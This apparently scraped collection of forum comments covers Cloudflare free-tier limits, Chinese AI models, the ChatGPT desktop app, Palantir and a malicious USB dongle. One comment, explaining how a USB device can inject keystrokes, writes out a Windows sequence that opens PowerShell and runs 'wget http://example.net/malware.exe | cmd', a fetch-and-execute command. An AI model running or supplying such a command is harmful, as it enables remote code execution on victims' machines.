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Cloudflare making sites unavailable?

No, Workers free tier is 100,000 requests/day. Considering the error is on the main page, each visit is probably taking a minimum of 10+ requests, so it can easily be overwhelmed.

This is genius if you work in B2C and want to prevent your website from going viral.

Does Cloudflare let you set hard limits when you are on a paid plan? Or they just do it for the free tier?

Have I been cloudflare'd?

Thank you for posting full url. I dont know why my submission has trimmed url which I didn't submit...

My theory is that he believes 1) people will trust him over what general public say, and 2) this kind of claim is hard to verify to prove him wrong.

That doesn't answer why he would lie about this, just why the thinks he would get away with it. What's his motive?

> Chinese models spying and so on.. is simply not true.

They all must be doing a great favor to humanity in a good will then.

Sorry, but seriously -- Chinese government, controlled by the Chinese Communist Party (CCP), can effectively seize or shut down internet services and infrastructure at will within its borders under its national security laws.

No need to read the TOS; it's in the law.

How much are they pressured to rush out browser for only macos? Either Linux or windows support would have made this launch look more legit.

They did the same thing for nearly 4 months with the ChatGPT desktop app, and it was literally just Electron. I think they just all use Macs and Windows is an afterthought.

I don't think they've ever released a Linux version of the ChatGPT Electron app and they said "Now available globally on macOS. Windows, iOS, and Android are coming soon" for this, so I wouldn't hold my breath for the Linux version of the browser either.

ChatGPT on macOS isn't built with Electron, at least the last time I checked. Just checking the linked frameworks shows that it links against macOS AppKit and the Swift libraries.

From a user perspective can definitely tell too, it's a polished, fast desktop app and has all the UI details one would expect from a native app.

Palantir can help with that

Why bother with the additional tender, the NSA have been doing it for decades?

You bother with the additional tender because Palantir is a commercial organization that will pay you handsomely for it.

This is the new there’s an app for that?

Can they? Or is the data just for

"it’s USB so it can also suddenly change into a keyboard and inject keystrokes to steal your files and upload them "

And exactly how would it be able to achieve that?

Malicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence

  Super+R
  (Sleep for 1 second)
  powershell.exe (Enter)
  (Sleep for 1 second)
  wget http://example.net/malware.exe | cmd (Enter)

For example, a Rubber Ducky [1] can trivially be configured to accomplish this with the included tooling in under 5 minutes.

[1] https://shop.hak5.org/products/usb-rubber-ducky

$1000-1500/month for ai paid by employer... that's quite nice. I wonder how much would it cost to run couple of claude code instance to run 24/7 indefinitely. If company's got resources they might as well try that against their issues.

All the bad news seem to drop on Friday. Is it just a coincidence?

No, it's a very deliberate strategy. Companies do this every Friday